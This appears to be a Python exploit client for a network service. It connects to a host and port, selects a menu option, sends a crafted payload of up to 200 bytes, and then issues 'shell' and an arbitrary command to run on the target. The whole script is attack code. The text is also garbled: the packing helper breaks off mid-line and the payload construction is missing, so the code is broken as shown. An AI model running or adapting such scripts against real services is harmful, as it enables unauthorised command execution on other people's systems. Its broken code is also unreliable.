#!/usr/bin/env python3 import argparse import socket import struct import time def p64(value): return struct.pack(" 200: raise SystemExit(f"payload too large: {len(payload)} bytes") with socket.create_connection((args.host, args.port), timeout=5) as sock: sock.settimeout(5) print(drain(sock, 0.4).decode("utf-8", "replace"), end="") sock.sendall(b"3\n") time.sleep(0.2) print(drain(sock, 0.4).decode("utf-8", "replace"), end="") sock.sendall(payload) time.sleep(0.4) print(drain(sock, 0.5).decode("utf-8", "replace"), end="") sock.sendall(b"shell\n") time.sleep(0.5) print(drain(sock, 0.5).decode("utf-8", "replace"), end="") sock.sendall(args.cmd.encode() + b"\n") time.sleep(1.0) print(drain(sock, 1.0).decode("utf-8", "replace"), end="") if __name__ == "__main__": main()